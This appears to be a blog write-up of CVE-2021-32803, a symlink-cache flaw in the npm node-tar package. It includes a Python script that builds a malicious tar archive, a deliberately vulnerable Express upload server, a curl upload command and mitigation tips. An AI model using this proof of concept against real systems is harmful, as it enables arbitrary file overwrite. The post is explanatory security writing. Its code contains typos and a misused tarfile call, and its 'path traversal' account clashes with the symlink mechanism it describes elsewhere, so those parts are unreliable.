Post

CVE-2021-32803

CVE-2021-32803

Vulnerability summary

CVE‑2021‑32803 – Arbitrary File Creation/Overwrite in node‑tar (npm tar package) This vulnerability affects the npm package “tar” (also known as node‑tar) in versions before 3.2.3, 4.4.15, 5.0.7, and 6.1.2. Due to insufficient symbolic‑link protection during extraction of tar archives, an attacker who can supply a crafted tar file can bypass symlink checks and cause arbitrary file creation or overwrite on the filesystem. This behavior stems from flawed directory caching logic that skips symlink verification when directory entries and symlinks with identical names are processed in a specific order. Successful exploitation can lead to arbitrary code execution or system compromise in applications that automatically extract untrusted tar archives. Updated versions of the package contain patches that correct the symlink handling logic.

What Is npm node-tar

npm node-tar is a widely used JavaScript library for Node.js that provides functionality to create, read, extract, and manipulate TAR (Tape Archive) files. Distributed via the npm ecosystem, node-tar is commonly used by developers and build tools to package source code, dependencies, and application artifacts. It supports standard TAR features such as gzip and bzip2 compression, streaming extraction, and file metadata handling, making it a core utility in many Node.js workflows, including package installation and deployment pipelines.

The vulnerability of CVE-2021-32803

The vulnerability in CVE-2021-32803 resides in the way node-tar handles file paths during archive extraction. Specifically, when extracting a malicious TAR archive, node-tar did not sufficiently validate or sanitize file paths contained in the archive entries. This allowed attackers to include absolute paths or directory traversal sequences that escape the intended extraction directory. As a result, arbitrary files could be written outside the target folder, potentially overwriting sensitive system or application files.

In practical terms, if an application extracted an untrusted TAR archive using a vulnerable version of node-tar, an attacker could leverage this weakness to perform a path traversal attack, leading to unauthorized file writes and possible remote code execution depending on the environment and permissions.

Demonstrating the Vulnerability

By first creating a directory and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. This attack starts with the attacker making a malicious .py script to upload the created .tar folder onto the victim’s machine.

STEP 1: Directory ‘dir/’ → poisons cache

1
2
3
4
    ti = tarfile.TarInfo('dir/')
    ti.type = tarfile.DIRTYPE
    ti.mode = 0o755
    tar.addfile(ti)
1
2
3
4
5
    ti = tarfile.TarInfo('dir')
    ti.type = tarfile.SYMTYPE
    ti.linkname = victim_path
    ti.mode = 0o644
    tar.addfile(ti)
1
2
3
4
5
6
content = b'=== HAXXORED BY CVE-2021-32803 ==='
ti = tarfile.TarInfo('dir/target.txt')
ti.size = len(content)
ti.type = tarfile.REGTYPE
ti.mode = 0o644
tar.addfile(ti, tarfile.FileObject(None, fileobj=content))

snippet of vulnerable code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const  express = require('express');
const mutler = require('mutler');
const tar = require('tar');
const fs = require('fs');
const path = require('path');

const app = express();
const upload = mutler({des: 'upload/'});

app.post('/upload', upload.single('archive'), (req, res)=> {
    const extractPath = path.join(__dirname, 'extracted');
    fs.mkdirSync(extractPath, {recursive: true});

    tar.x({
        file: req.file.path,
        cwd: extracrPath
    }).then(() => {
        res.send('Extracted! Check /tmp pr extracted/ folder.');
    }).catch(err => {
        res.status(500).send('Extraction failed: '+ err.message);
    });
});
app.listen(3000, ()=> console.log('Server running on :3000'));

Running the server.js file from the victim’s server

1
2
$ node server.js
Server running on :3000 

Again, due to CVE-2021-32803, the attacker can upload the file to the victim’s machine

1
curl -X POST http://vulnerable_machine_IP:3000/upload \ -F "archive=@exploit.tar" \ -v

Result

after running the payload the .tar package will be uploaded on the victim’s machine

Mitigating against the vulnerability

  • Keep node-tar up to date
  • Don’t blindly extract archives from users
  • Double check where files are being written
  • Limit permissions as much as possible
This post is licensed under CC BY 4.0 by the author.